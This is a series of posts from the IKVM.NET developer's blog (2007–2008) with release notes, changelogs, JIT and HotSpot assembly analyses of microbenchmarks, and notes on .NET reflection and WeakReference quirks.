This defines a .NET property called "in" and associates the getter method of the property with the get_in() method. Note that we're only specifying the getter here in the Property annotation because the field is final, but you can also specify a setter method. The static initializer that initializes the property to null is necessary to keep javac happy, but it doesn't actually do anything. The ikvm bytecode compiler will ignore any assignments to read-only properties. Another thing to note is that the get_in() will automatically be made public (because the field is public), but from Java it will still appear private.

Changes since previous development snapshot:

  • Fixed regression in return value annotation value.
  • Forked Class, Constructor and Field.
  • Made class annotation handling lazy and bypass encode/decode.
  • Fixed ReflectionOnly referenced assembly loading order (ikvmstub).
  • Initialize class library in JVM_CreateJavaVM.
  • Reintroduced guard against recursive FinishCore invocations.
  • Implemented support for annotations on .NET fields/methods/parameters.
  • Hide ikvmc generated GetEnumerator() method from Java.
  • Simplified annotation handling.
  • Added support to Class.forName() for assembly qualified Java type names.
  • Replaced notion of DynamicOnly types with Fake types. Fake types are implemented as generic type instances and can have DynamicOnly methods.
  • Changed System.nanoTime() implementation to use Stopwatch.GetTimestamp().
  • Ripped out annotation/constant pool support that is no longer needed.
  • Added support for defining unloadable (i.e. missing) types to use as custom modifiers in signatures.
  • Use custom modifiers to make sure constructor signature is unique (if necessary).
  • Restructured code to remove compiler warnings.
  • Updated FlushFileBuffers p/invoke to use SafeFileHandle.
  • Forked OpenJDK sources that are going to be modified to refactor the library initialization.
  • Made __Fields nested class abstract (it was already sealed) and removed the constructor.
  • Restored the special case for interface .cctor methods to fix bug #1930303
  • Added ikvm/internal/MonoUtils.java. A new helper class to contain Mono specific methods.
  • Added Mac OS X platform detection.
  • Fixed System.mapLibraryName() to use platform detection instead of os.name property.
  • Improved java.library.path for Windows, Linux and Mac OS X.
  • Added support for setting os.name and os.ver on Mac OS X.
  • Try to guess os.arch based on IntPtr.Size.
  • Set sun.nio.MaxDirectMemorySize to -1 to allow "unlimited" direct byte buffers.
  • Fixed memory mapped file bug that caused mapping at non-zero file position to fail.
  • Close mapping handle using the Close() method on SafeFileHanlde instead of p/invoking the Win32 API directly.
  • Added support for filenames/paths with colons in them to Win32FileSystem.CanonicalizePath().
  • Added support for turning Java fields into .NET properties with an annotation.
  • Implemented System.in/out/err as .NET properties (explicitly).

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3026.zip

4/14/2008 7:40:06 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 07, 2008

IKVM 0.36 Update 1 Released

When I released IKVM 0.36 I said I intended to support 0.36 for a longer period since it is the last version that runs on .NET 1.1. Today I've released the first update release of 0.36 to SourceForge. For those who have been tracking the release candidates, this release is identical to release candidate 5.

Changes since IKVM 0.36.0.5:

  • Changed version to IKVM 0.36.0.11
  • Fix for reflection bug on .NET generic nested types that caused this.
  • Fix for bug #1865922.
  • java.awt.image.Raster fix.
  • Fix bug in DynamicMethod based serialization for fields typed as ghost interfaces.
  • Fixed ikvmc to support referencing assemblies that contain .NET type named java.lang.Object.
  • Improved error handling for ikvmc -reference option.
  • Optimized codegen for lcmp, fcmp, dcmp and shift opcodes.
  • Added support to Class.forName() for loading Java types with assembly qualified type names.
  • Implemented field/method/parameter annotation support for .NET types.
  • Added workaround for .NET 1.1 bug in Directory.CreateDirectory(). (bug #1902154)
  • Added -removeassertions optimization option to ikvmc.
  • Added -removeassertions to IKVM.OpenJDK.ClassLibrary.dll build.
  • Fixed JVM_CreateJavaVM to initialize the class library.
  • Fixed ikvmc to include zero length resource files.
  • Implemented SocketOptions.IP_MULTICAST_IF and SocketOptions.IP_MULTICAST_IF2.
  • Fixed assembly class loader to ignore codebase for dynamic assemblies (previously it would throw an exception).
  • Fixed exception stack trace code to return the .NET name of a type when a method in a primitive type is on the stack.
  • Fixed JNI reflection to filter out HideFromReflection members.
  • Fixed java.net.NetworkInterface to work on pre-Win2K3 systems.
  • Fixed java.lang.Thread to set context class loader for threads started from .NET.

If you want to build from source, you need ikvm-0.36.11.zip, classpath-0.95-stripped.zip, openjdk-b13-stripped.zip and the java.awt.image.Raster fix.

4/7/2008 6:15:18 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, March 24, 2008

Generic Algorithms Revisited (Again)

Back in 2003 I described how you could theoretically use value types to efficiently inject behavior into a generic type. Recently I was thinking about this again and decided to look at the code generated by the JIT.

Let's look at a very simple case:

interface IOperation
{
  void DoIt();
}

struct Dummy : IOperation
{
  public void DoIt() { }
}

public class Program
{
  static void Gen<T>() where T : IOperation
  {
    default(T).DoIt();
  }

  static void Main()
  {
    for (; ; )
    {
      Gen<Dummy>();
    }
  }
}

The .NET 2.0 SP1 x86 JIT generates the following code for the Gen<Dummy>() method:

sub    esp,8
xor    eax,eax
mov    dword ptr [esp],eax
mov    dword ptr [esp+4],eax
mov    byte ptr [esp],0
movsx  eax,byte ptr [esp]
mov    byte ptr [esp+4],al
add    esp,8
ret

The good news is that the Dummy.DoIt() method has been inlined. The bad news is that every single instruction apart from the ret is unnecessary.

In order to understand what is going on, we need to look at the IL generated by the C# compiler for the Gen<T>() method and we also need to know that the CLR treats zero length types as having a length of one byte.

Here's the IL for Gen<T>():

.maxstack 1
.locals init ([0] !!T CS$0$0000, [1] !!T CS$0$0001)
ldloca.s CS$0$0000
initobj !!T
ldloc.0
stloc.1
ldloca.s CS$0$0001
constrained. !!T
callvirt instance void IOperation::DoIt()
ret

For some reason the default(T).Doit() construct results in two local variables being created. Now the JIT code above is starting to make a little sense (although it still isn't an excuse why it isn't optimized away):

sub    esp,8
xor    eax,eax
mov    dword ptr [esp],eax
mov    dword ptr [esp+4],eax
.locals init ([0] !!T CS$0$0000, [1] !!T CS$0$0001)
Reserve and initialize space on the stack for the two local variables. Note that they are both unnecessarily padded, so we need 8 bytes intsead of 4.
 
mov    byte ptr [esp],0 ldloca.s CS$0$0000
initobj !!T
Initialize the first local variable.
 
movsx  eax,byte ptr [esp] ldloc.0
Read the value of the first local variable.
 
mov    byte ptr [esp+4],al stloc.1
Store the value we just read in the second local variable.
 
  ldloca.s CS$0$0001
constrained. !!T
callvirt instance void IOperation::DoIt()
Inlined (empty) DoIt method.
 
add    esp,8
ret
ret
Unreserve stack space and return to caller.


We can improve the code a little by changing the Gen<T>() method body as follows:

T t = default(T);
t.DoIt();

Now the C# compiler won't generate the extra local variable and the x86 code looks a little better:

push   eax
xor    eax,eax
mov    dword ptr [esp],eax
mov    byte ptr [esp],0
pop    ecx
ret

For completeness here's the x64 code for the original Gen<Dummy>() method:

sub    rsp,38h
xor    eax,eax
mov    byte ptr [rsp+21h],al
xor    eax,eax
mov    byte ptr [rsp+20h],al
xor    eax,eax
mov    byte ptr [rsp+21h],al
movzx  eax,byte ptr [rsp+21h]
mov    byte ptr [rsp+20h],al
lea    rcx,[rsp+20h]
mov    rax,6428001C078h
call   rax
nop
add    rsp,38h
rep ret

This is even worse than the x86 code, because the Dummy.DoIt() method isn't even inlined.

NGEN

The standard excuse of why a JIT doesn't do some "obvious" optimizations is of course that it runs while your program is supposed to be running, so it can't take a lot of time to analyze and optimize the code. This is true to some extent (and JIT performance is one reason why running your managed code on x64 takes so much longer to start up), but it doesn't apply to NGEN and from what I understand today's NGEN doesn't do any more optimizations than the JIT compiler. I tested this specific example (for x64) and the NGEN code is indeed identical to the JIT code. This is unfortunate and hopefully, someday we'll see more sophisticated optimizations specific to NGEN as well.

Conclusion

This trick of using value types in generic algorithms appears to work reasonably well on x86, but there is still room for improvement in the JIT. Rumour has it that in the next .NET 2.0 service pack (due out this summer?) there will be an update of the JIT that finally supports inlining of methods that have value type arguments, let's hope that this JIT update will also include other optimizations as well. Let's also hope that this update includes a better version of the x64 JIT, because as this example shows yet again the x64 JIT still considerably lags behind the x86 JIT.

P.S. Here's the Mono 1.9 x86 JIT code for the original Gen<Dummy>():

push   ebp
mov    ebp,esp
sub    esp,8
mov    byte ptr [ebp-8],0
mov    byte ptr [ebp-4],0
mov    byte ptr [ebp-8],0
movsx  eax,byte ptr [ebp-8]
mov    byte ptr [ebp-4],al
lea    eax,[ebp-4]
push   eax
call   02A20278
pop    ecx
leave
ret

3/24/2008 9:23:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Friday, March 14, 2008

IKVM 0.36 Update 1 Release Candidate 5

More fixes. Since I used version 0.36.0.10 for some interim fixes, this rc is 0.36.0.11.

Changes:

  • Changed version to 0.36.0.11.
  • Fixed ikvmc to include zero length resource files.
  • Implemented SocketOptions.IP_MULTICAST_IF and SocketOptions.IP_MULTICAST_IF2.
  • Fixed assembly class loader to ignore codebase for dynamic assemblies (previously it would throw an exception).
  • Fixed exception stack trace code to return the .NET name of a type when a method in a primitive type is on the stack.
  • Fixed JNI reflection to filter out HideFromReflection members.
  • Fixed java.net.NetworkInterface to work on pre-Win2K3 systems.
  • Fixed java.lang.Thread to set context class loader for threads started from .NET.
  • Added workaround for .NET 1.1 JIT bug exposed by bytecode optimizations introduced in 0.36.0.9.

Binaries available here: ikvmbin-0.36.0.11.zip
Sources (+ binaries):ikvm-0.36.0.11.zip

3/14/2008 9:05:21 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, February 28, 2008

IKVM 0.36 Update 1 Release Candidate 4

More fixes and a couple of optimizations. The bytecode optimizations and the removal of assert statements resulted in IKVM.OpenJDK.ClassLibrary.dll actually becoming smaller for once:

Version IKVM.OpenJDK.ClassLibrary.dll size
0.36.0.5         26,808,320
0.36.0.9 26,697,728


The size difference is about evenly split between the bytecode optimizations and the assert statement removal.

The ikvmc option to remove assert statements is a bit of a cheat, but it turns out that in at least one case (java.util.BitSet) the assertions significantly affect performance (even when they are disabled) on .NET. This is the result of the CLR JIT not optimizing them away whereas HotSpot completely removes them when assertions aren't enabled. Given that this was affecting a real world scenario for an ikvm user I decided to add this option and compile the core class library with it. The option will only remove assert statements that it recognizes (i.e. the example code pattern mentioned in appendix IV of the assert spec).

Changes:

  • Changed version to 0.36.0.9.
  • Optimized codegen for lcmp, fcmp<x>, dcmp<x> and shift opcodes.
  • Added support to Class.forName() for loading Java types with assembly qualified type names.
  • Implemented field/method/parameter annotation support for .NET types.
  • Added workaround for .NET 1.1 bug in Directory.CreateDirectory(). (bug #1902154)
  • Added -removeassertions optimization option to ikvmc.
  • Added -removeassertions to IKVM.OpenJDK.ClassLibrary.dll build.
  • Fixed JVM_CreateJavaVM to initialize the class library.

Binaries available here: ikvmbin-0.36.0.9.zip
Sources (+ binaries):ikvm-0.36.0.9.zip

2/28/2008 8:01:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Tuesday, February 19, 2008

New Development Snapshot

More changes triggered by the changeover to .NET 2.0.I also did some C# 3.0 work which means that you can now do this:

using System;
using System.Collections;
using ikvm.extensions;
using java.util;

public class Program
{
  static void Main(string[] args)
  {
    try
    {
      var map = new HashMap {
        { "foo", args.getClass() },
        { "bar", 2.getClass() }
      };

      foreach (DictionaryEntry de in map)
        Console.WriteLine("{0} = {1}", de.Key, de.Value);
    }
    catch (System.Exception x)
    {
      x.printStackTrace();
    }
  }
}

BTW, to enable defining extension methods without taking a dependency on System.Core.dll, I've defined my own copy of System.Runtime.CompilerServices.ExtensionAttribute in IKVM.Runtime.dll (it's only public during the first compilation pass, so it does not interfere with the real one in System.Core.dll if your project references both IKVM.Runtime.dll and System.Core.dll).

Changes:

  • Renamed GetEnumerator method in implicit IEnumerable implementation to work around lame bug in Xml serialization.
  • Added support for defining non-virtual instance methods in map.xml.
  • Added "Add" method to java.util.AbstractCollection to make some of the .NET magic work on Java collections.
  • Reintroduced baked TypeBuilder scrubbing hack for .NET 2.0 SP1.
  • Made core assembly detection more robust.
  • Improved ikvmc error handling for -reference option.
  • Added support for defining extension methods in the core class library assembly (without taking a System.Core.dll dependency).
  • Added the first two extension methods (Object.getClass() and Exception.printStackTrace()).
  • Optimized codegen for lcmp, fcmp<x>, dcmp<x> and shift opcodes.
  • Construct custom attribute annotation proxies directly instead of going through the trouble to encode/decode them.
  • Added support for explicitly implementing an interface method with the <override /> element in map.xml.
  • Added new utility class to enumerate maps.
  • Made java.util.AbstractMap enumerable and added Add() method to support C# 3.0 collection initialization syntax.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version does not currently work with Mono.

Binaries available here: ikvmbin-0.37.2970.zip

2/19/2008 6:13:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, February 04, 2008

IKVM 0.36 Update 1 Release Candidate 3

I screwed up the previous release candidate build by building it on .NET .2.0. So here's a new release candidate that's built on .NET 1.1 again (and I threw in a couple of small fixes as well.)

Changes:

  • Changed version to 0.36.0.8.
  • Fixed ikvmc to support referencing assemblies that contain .NET type named java.lang.Object.
  • Improved error handling for ikvmc -reference option.

Binaries available here: ikvmbin-0.36.0.8.zip
Sources (+ binaries):ikvm-0.36.0.8.zip

2/4/2008 4:18:04 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, January 31, 2008

How to Disassemble an AtomicReferenceFieldUpdater

It's been a while since I've done an in depth investigation of a microbenchmark and the recent work I did on AtomicReferenceFieldUpdater to make it work in partial trust also has a nice performance impact. So let's investigate that.

The Microbenchmark

import java.util.concurrent.atomic.*;

class Test {
  volatile Object field;

  public static void main(String[] args) {
    AtomicReferenceFieldUpdater upd =
      AtomicReferenceFieldUpdater.newUpdater(Test.class, Object.class, "field");
    Test obj = new Test();
    for (int j = 0; j < 5; j++) {
      long start = System.currentTimeMillis();
      for (int i = 0; i < 10000000; i++)
        upd.compareAndSet(obj, null, null);
      long end = System.currentTimeMillis();
      System.out.println(end - start);
    }
  }
}

The Results

       IKVM 0.34      IKVM 0.36      IKVM 0.37      JDK 1.6
.NET 1.1 36808 41453    
.NET 2.0 / x86       75647 5776 561 321
.NET 2.0 / x64   5081 512 245

The Differences

The first thing that jumps out is that the IKVM 0.34 results show that .NET 2.0 reflection is much slower than .NET 1.1 reflection. On IKVM 0.36 the reflection implementation changed to take advantage of DynamicMethod when running on .NET 2.0, so there we see a big improvement in performance when running on .NET 2.0.

IKVM 0.37 has the new AtomicReferenceFieldUpdate optimization that no longer uses reflection (if it can figure out at compile time what to do), this again yields a big performance improvement.

Finally, HotSpot manages to beat IKVM be a factor of two. There is no difference between HotSpot client and server modes for this benchmark (on JDK 1.6).

The Compiler

Let's look at some C# pseudo code that shows what ikvmc 0.37 generates for the above benchmark:

using java.util.concurrent.atomic;
using System.Threading;

class Test {
  volatile object field;

  private sealed class __ARFU_fieldLjava/lang/Object; : AtomicReferenceFieldUpdater {
    public override bool compareAndSet(object obj, object expect, object update) {
      return expect == Interlocked.CompareExchange(ref ((Test)obj).field,
                                                   (object)update, (object)expect);
    }
    // ...other methods omitted...
  }

  static void main(string[] args) {
    AtomicReferenceFieldUpdater udp = new __ARFU_fieldLjava/lang/Object;();
    // ...rest of method omitted...
  }
}

The bytecode compiler only does this optimization if the arguments to newUpdater are constants and match up with a volatile instance reference field in the current class.

The reason this optimization only first showed up in IKVM 0.37 is that it requires the generic version of Interlocked.CompareExchange. In this particular example the non-generic version would have worked, but in the real world nearly all uses of AtomicReferenceFieldUpdater are on fields that have a more specific type than Object.

The Assembly

So why is HotSpot twice as fast? I modified the test slightly to make the generated assembly code easier to read by making it an infinite loop. Here's the x64 code for the loop:

00000000028C2690   mov          r11,qword ptr [r8+10h]
00000000028C2694   mov          r10,1026DD08h
00000000028C269E   cmp          r11,r10
00000000028C26A1   jne          00000000028C2773
00000000028C26A7   mov          r10,qword ptr [r8+20h]
00000000028C26AB   test         r10,r10
00000000028C26AE   jne          00000000028C273B
00000000028C26B4   mov          r10,qword ptr [r8+28h]
00000000028C26B8   mov          r11,r9
00000000028C26BB   add          r11,r10
00000000028C26BE   xor          eax,eax
00000000028C26C0   xor          r10d,r10d
00000000028C26C3   lock cmpxchg qword ptr [r11],r10
00000000028C26C8   sete         r12b
00000000028C26CC   movzx        r12d,r12b
00000000028C26D0   mov          r10,r11
00000000028C26D3   shr          r10,9
00000000028C26D7   mov          r11,589FF80h
00000000028C26E1   mov          byte ptr [r11+r10],0
00000000028C26E6   test         dword ptr [160000h],eax
00000000028C26EC   jmp          00000000028C2690

HotSpot did it's thing and was able to inline the virtual compareAndSet method. I'm pretty sure that HotSpot doesn't have special support for AtomicReferenceFieldUpdater, but this is simply the normal HotSpot devirtualization optimization at work. The lock cmpxchg instruction is the result of HotSpot having intrinsic support for sun.misc.Unsafe.compareAndSwapObject.

Let's go over the assembly instructions in detail:

00000000028C2690   mov          r11,qword ptr [r8+10h]
00000000028C2694   mov          r10,1026DD08h
00000000028C269E   cmp          r11,r10
00000000028C26A1   jne          00000000028C2773

This looks like a HotSpot virtual method inline guard. It's checking to make sure that the object is of the expected type (if it isn't, the inlined virtual method may not be correct anymore).

00000000028C26A7   mov          r10,qword ptr [r8+20h]
00000000028C26AB   test         r10,r10
00000000028C26AE   jne          00000000028C273B

I'm not sure. Some field in the AtomicReferenceFieldUpdater object is tested for null.

00000000028C26B4   mov          r10,qword ptr [r8+28h]

The offset to the field is loaded from the AtomicReferenceFieldUpdater object.

00000000028C26B8   mov          r11,r9

The passed in object reference is moved from r9 to r11.

00000000028C26BB   add          r11,r10

Add the field offset to the object reference. We now have the address of the memory location we want to update in r11.

00000000028C26BE   xor          eax,eax

Clear rax to represent the passed in null value of the expect argument. I'm not sure why the disassembler shows the register as eax, but this instruction clears the full 64 bit rax register.

00000000028C26C0   xor          r10d,r10d

r10 is cleared and represents the passed in null value of the update argument.

00000000028C26C3   lock cmpxchg qword ptr [r11],r10

The actual interlocked compare and exchange instruction. The qword at memory location r11 is compared with rax and if it matches r10 is written to it. Since I'm on a dual core machine, the lock prefix is applied. Locking the bus is expensive, so HotSpot omits it when running on a single core machine.

00000000028C26C8   sete         r12b
00000000028C26CC   movzx        r12d,r12b

The cmpxchg instruction sets the zero flag if it was successful. These two instruction copy the zero flag into the r12 register (it is set to 0 or 255 to represent either false or true). Since the result isn't actually used in this case, this could have been optimized away.

00000000028C26D0   mov          r10,r11
00000000028C26D3   shr          r10,9
00000000028C26D7   mov          r11,589FF80h
00000000028C26E1   mov          byte ptr [r11+r10],0

This is a little interesting. It takes the address of the field that was just (potentially) updated and shifts it to the right by 9 bits and uses that value to index a static table and clear the corresponding byte. This is a GC write barrier. The GC consults the table (known as a card table) to know what objects in older generations it needs to scan when doing a GC of a younger generation.

00000000028C26E6   test         dword ptr [160000h],eax

This seemingly useless test is part of a mechanism used by the VM to suspend the thread at this instruction (a safepoint). When the VM wants to suspend all threads (for a GC) it unmaps the safepoint polling memory page (in this case at 0x160000) and waits for all threads to suspend. Each thread running compiled Java code will eventually run this instruction and cause a page fault, inside the page fault handler it is detected that a safepoint thread suspend is requested and the thread calls the VM to suspend itself.

00000000028C26EC   jmp          00000000028C2690

Branch to the top and start over again.

The Conclusion

The .NET Framework JIT doesn't inline virtual methods and Interlocked.CompareExchange is not a JIT instrisic, so there the story is pretty straightforward. Each loop iteration calls Interlocked.CompareExchange which in turn calls the GC write barrier function. This is why HotSpot is able to beat IKVM 0.37 by a factor of two.

Of course, when you're coding in C# you can write the microbenchmark to call Interlocked.CompareExchange directly:

using System;
using System.Threading;

class Test {
  volatile object field;

  static void Main(string[] args) {
    Test obj = new Test();
    for (int j = 0; j < 5; j++) {
      int start = Environment.TickCount;
      for (int i = 0; i < 10000000; i++)
        Interlocked.CompareExchange(ref obj.field, null, null);
      int end = Environment.TickCount;
      Console.WriteLine(end - start);
    }
  }
}

This runs in 265 milliseconds which goes to show that in this case all the fancy footwork that HotSpot does can almost be matched simply by having by ref argument passing in your language. Of course, the CLR JIT isn't perfect. When you change the field type to string the running time increases to 436 milliseconds because the invocation of a generic method goes through a stub that makes sure that the method instantiation exists. Here it would probably pay to to teach the JIT about the generic methods in System.Threading.Interlocked.

1/31/2008 10:50:35 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, January 25, 2008

IKVM 0.36 Update 1 Release Candidate 2

One more bug fix.

Changes:

  • Changed version to 0.36.0.7.
  • Fix bug in DynamicMethod based serialization for fields typed as ghost interfaces.

Binaries available here: ikvmbin-0.36.0.7.zip
Sources (+ binaries):ikvm-0.36.0.7.zip

The external sources are the same as the previous rc.

1/25/2008 7:38:42 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, January 23, 2008

How To Get an Explicit Interface Implementation Method

Suppose you have a Type that you know implements IEnumerable, how do you get the GetEnumerator method?

Both the developer(s) at Microsoft and the Mono developer(s) that wrote System.Xml.Serialization managed to find the same wrong answer to this question. Here's the code from Mono, but Microsoft does somethig very similar:

MethodInfo met = type.GetMethod ("GetEnumerator", Type.EmptyTypes);
if (met == null) {
  // get private implemenation
  met = type.GetMethod ("System.Collections.IEnumerable.GetEnumerator",
                        BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance,
                        null, Type.EmptyTypes, null);
}

The reason this is wrong is that the name of the private method is an implementation detail of the compiler that was used to compile the code. C# happens to name the private method this way, but other languages may not.

For example, try the following VB webservice:

<%@ WebService Language="VB" Class="Service1" %>

Imports System.Collections
Imports System.Web.Services

Public Class Service1
  Inherits WebService

  <WebMethod()> Public Function HelloWorld() As Frob
    Return New Frob()
  End Function
End Class

Public Class Frob
  Implements IEnumerable

  ' Note that this method is private
  Private Function GetEnumerator() As IEnumerator Implements IEnumerable.GetEnumerator
    Return "frob".GetEnumerator()
  End Function

  Public Sub Add(ByVal obj As Object)
    Throw New NotSupportedException()
  End Sub
End Class

If you run this webservice on .NET, you'll an exception inside System.Xml.Serialization.TypeScope.GetTypeDesc(), because it expects to find a public GetEnumerator method or a private System.Collections.IEnumerable.GetEnumerator method. However, VB allows you to pick the method name (in this case simply GetEnumerator). If you make the GetEnumerator method public, the webservice will work.

The Right Way

Here's the right way to get the method:

MethodInfo getEnumerator = typeof(IEnumerable).GetMethod("GetEnumerator", Type.EmptyTypes);
InterfaceMapping map = type.GetInterfaceMap(typeof(IEnumerable));
int index = Array.IndexOf(map.InterfaceMethods, getEnumerator);
MethodInfo meth = map.TargetMethods[index];

Meta Question

Of course, the real question remains unanswered. Why do we need the MethodInfo in the first place? Wouldn't Xml serialization be better off by simply using the IEnumerable interface?

1/23/2008 7:37:35 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [8]

Monday, January 14, 2008

IKVM 0.36 Update 1 Release Candidate 1

As I've said when I released 0.36, this is a version that will be maintained for a while because it is the last version to support .NET 1.1. This means that I will strive to release updates relatively soon after bugs are reported (in the supported areas). This is the first of such update releases.

Changes:

  • Changed version to 0.36.0.6.
  • Fix for reflection bug on .NET generic nested types that caused this.
  • Fix for bug #1865922.
  • java.awt.image.Raster fix.

Binaries available here: ikvmbin-0.36.0.6.zip
Sources (+ binaries):ikvm-0.36.0.6.zip

The external sources are the same as the ones with the first 0.36 release + java.awt.image.Raster patch referenced above.

1/14/2008 6:27:59 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 07, 2008

New Development Snapshot

The major change is that I dropped support for .NET 1.1 and started taking advantage of .NET 2.0 specific features. The most significant result of that is that it is now possible to run (some) applications in partial trust and that IKVM.OpenJDK.ClassLibrary.dll and IKVM.Runtime.dll can be put into the GAC and called from partially trusted code. Note that if you want to put the binaries in the GAC you'll have to build your own binaries (to get them strong named) as the development snapshot binaries are not strong named.

Changes:

  • .NET 1.1 is no longer supported.
  • Removed .NET 2.0 warnings (except for the "unreachable code" ones).
  • Removed most .NET 1.1 specific code.
  • Removed conditional compilation of .NET 2.0 specific code.
  • Updated FileChannelImpl to use SafeFileHandle and GC.Add|RemoveMemoryPressure.
  • Added GC.KeepAlive to "native" methods of MappedByteBuffer.
  • Improved VFS.
  • The VFS file "lib/security/cacerts" is now dynamically generated from the .NET X509 store.
  • Implemented native methods of java.io.Console (some Win32 only).
  • Implemented support for InternalsVisibleToAttribute.
  • Moved JNI implementation into a separate assembly (IKVM.Runtime.JNI.dll) to make IKVM.Runtime.dll verifiable.
  • Made all "native" method classes internal.
  • Restructured VM <-> Library interface to take advantage of InternalsVisibleTo to remove public methods and reflection usage.
  • Added support for adding constructors in map.xml.
  • Changed <clinit> method to SmartConstructorMethodWrapper to support calling it from map.xml
  • Removed call to unnecessary call to MatchTypes (to support partial trust)
  • Ignore SecurityException in CanonicalizePath.
  • Moved some calls to methods with a LinkDemand (that fails in partial trust) to a separate methods.
  • Added stuff to map.xml to remove the need for reflection in VM / Library bootstrap.
  • Inverted IKVM.Runtime.JNI dependency in stack walking code to avoid needlessly loading the JNI assembly.
  • Fixed bug that caused nested .NET generic types to report a declaring type.
  • Added -skiperror option to ikvmstub (by Kevin Grigorenko).
  • Replaced GCHandle in java.lang.ref.Reference with WeakReference to support partial trust.
  • Added check to prevent sun.misc.Unsafe.objectFieldOffset() from working on static fields.
  • Added support for registering a delegate with a DynamicTypeWrapper that gets called after the type is baked.
  • Intrinsified AtomicReferenceFieldUpdater.newUpdater().
  • Added virtual opcode to explicitly trigger class initialization from map.xml.
  • Added accessor methods for "slot" to Method & Constructor.
  • Implemented System.setIn0, setOut0, setErr0 in map.xml.
  • Hacked sun.misc.SharedSecrets in map.xml to replace Unsafe.ensureClassInitialize() with direct calls.
  • Replaced java.nio.Bits.byteOrder() in map.xml with simple System.BitConver.IsLittleEndian based implementation.
  • Disabled DynamicMethodSupport when running in partial trust.
  • Don't trigger load of JNI assembly when "loading" a fake system library.
  • Added ikvmc -platform option.
  • Added SecurityCritical and AllowPartiallyTrustedCallers annotation to IKVM.OpenJDK.ClassLibrary.dll.
  • Added SecurityCritical and AllowPartiallyTrustedCallers attributes to IKVM.Runtime.dll.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

Binaries available here: ikvmbin-0.37.2928.zip

1/7/2008 8:56:57 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Monday, December 31, 2007

Argh! Part 2

using System;
using
System.Runtime.InteropServices;

class
Program
{
    GCHandle handle;

    Program()
    {
        handle = GCHandle.Alloc(this, GCHandleType.WeakTrackResurrection);
    }

    ~Program()
    {
        Console.WriteLine(handle.Target != null);
    }

    static void Main()
    {
        new Program();
        GC.Collect();
        GC.WaitForPendingFinalizers();
    }
}
 

Judging from the comments, many people had trouble understanding the previous code snippet. The above code is equivalent (except that this actually works on .NET 2.0). Maybe this will help clarify.

12/31/2007 10:18:31 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Argh!

using System;

class
Program
{
    WeakReference wr;

    Program()
    {
        wr = new WeakReference(this, true);
        GC.SuppressFinalize(wr);
    }

    ~Program()
    {
        Console.WriteLine(wr.IsAlive);
    }

    static void Main()
    {
        new Program();
        GC.Collect();
        GC.WaitForPendingFinalizers();
    }
}
 

What should the output of this program be? On .NET 1.1 it's True (as expected), but on .NET 2.0 it is False. On .NET 2.0 the GC has special support for finalizing WeakReferences, but it fails to take into account whether GC.SuppressFinalize() has been called (and this may be by design, but it's still broken).

This may look academic, but it is actually a real issue in the implementation of ReferenceQueues on IKVM. Previously I used GCHandle to keep a weak reference back to the reference object that was being monitored, but because that requires full trust, I changed the code to use WeakReference, but that broke it because of the above mentioned behavior. The work around is easy, but ugly and inefficient, simply keep these weak references in a global hashtable to make sure they are always strongly reachable.

.NET really needs a better mechanism for doing post-mortem cleanup (i.e. something like java.lang.ref.ReferenceQueue).

P.S. By my new policy, I won't be filing a bug with Microsoft since they have amply demonstrated not to care about external bug reports.

12/31/2007 2:33:49 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [6]

Friday, December 28, 2007

Hello World

Five and a half years ago, Hello World ran for the first time... Now, for the first time a statically compiled HelloWorld.exe runs in partial trust (LocalIntranet zone in this case). Here's an exciting screenshot:

C:\sandbox>HelloWorld.exe
Hello World

C:\sandbox>

Obviously this doesn't mean things are done, but hopefully it won't take another five years ;-)

12/28/2007 4:13:47 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 10, 2007

IKVM 0.36 Released

After what feels like an eternity, I've finally released IKVM 0.36. The binaries are identical to the ones in rc6.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • Volatile fields are not marked with modopt(volatile).
